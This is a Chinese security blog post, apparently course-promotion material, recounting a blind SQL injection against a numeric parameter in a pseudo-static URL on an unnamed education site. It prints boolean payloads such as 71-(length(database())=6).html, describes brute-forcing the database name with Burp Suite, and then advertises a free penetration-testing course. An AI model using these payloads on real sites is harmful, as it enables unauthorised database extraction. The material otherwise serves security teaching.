干货 | 一次伪静态页面的SQL注入

本文为掌控安全实战训练营某节课内容，将其作为笔记分享给大家，希望对大家有所帮助，文末有免费训练营报名入口。

涉及技能点

• SQL注入基础原理

• 盲注常用函数及思路

• burpsuite基础知识

过程记录

1.发现

在翻阅一EDU站点时，发现路径中带有明显的数字参数

好像与我们平时习惯的xxx.php?id=不同呃

2.尝试注入

按照以往习惯，先用order by探探底，结果翻车了…应该有自定义逻辑在过滤敏感关键词。

继续努力，峰回路转,耶~~~！

构造boolen等式时能够被带入查询语句并显示不同效果

当条件不符合时，71-false=71，显示71.html，无数据

http://EDU_SITE/.../..._id/71-false.html

=> SELECT ..FROM .. WHERE ... AND _id=71-false

而当条件符合时，71-true=70，显示70.html，有数据

http://EDU_SITE/.../..._id/71-true.html

=> SELECT ..FROM .. WHERE ... AND _id=71-true

3.确定攻击方式，获取数据进行验证

获取用户名长度

http://EDU_SITE/.../..._id/71-(length(user())=12).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(user())=12)

获取数据库长度

http://EDU_SITE/.../..._id/71-(length(database())=6).html

=> SELECT ..FROM .. WHERE ... AND _id=71-(length(database())=6)

---

尝试用burpsuite的clusterboom模式对database进行爆破

其中参数1 为位数，参数2 为可能出现的字符明文

获得最终database()=db_cms

总结

---

在尝试sql注入的时候，往往过分关注get传参或者post传参而忽略了URL中自带的注入点，有时候一些明显的数字型参数也能够带入payload

零基础从入门到挖漏洞，其实也没那么难，更多的是找不到适合自己的学习路线，从而踩了不少坑，以及还未形成独立的渗透思维，不得法门，就算花再多时间也与你无缘。想要学好渗透，最主要的还得是在找到一套对自己有益的教程，打下牢固的基础，在学习、打靶场的过程中，拓展自己的思维，从而慢慢形成一套自己的渗透思维.

掌控安全推出的免费入门渗透课程，上述所包含的知识点，这个视频里都有涉及，如果你刚入门，可以领取这套视频，内容很全且免费，在授课过程中，以幽默风趣的方式讲述知识点，以便能够更加深入的理解。同时配有各种工具的使用及安装包（包括上文用到的burp神器）

如果你还挖不到漏洞，可以从这套视频里学习一些思路，以及一些骚操作技巧.

如果你担心学完知识，没有实战练手的地方，这套免费的教程配有靶场练习，在学习中升级打怪，查漏补缺，为日后实战提供更多的思路.(ps:打靶场是实战前必不可缺的一部分)

看完视频你将学会：

• 熟悉常见漏洞的成因，检测方法，攻击手段（同时配有靶场练手）

• 安全人员必备的各种工具，从安装到使用以及实战靶场操作（附安装包）

• 同时包含不少的讲师个人总结的实用的小技巧

已有累计五万+就业、转岗或安全兴趣者报名学习

比如最近这一期是SQL注入（实战获得管理员后台密码、拿到服务器权限）从原理讲到漏洞介绍，再到进阶，更多视频（录播教程）可扫码领取，同时也可直接参与每天的直播授课.

  

 扫码白嫖各种学习资料！

 还有免费的配套靶场、交流群

原文始发于微信公众号（渗透Xiao白帽）：干货 | 一次伪静态页面的SQL注入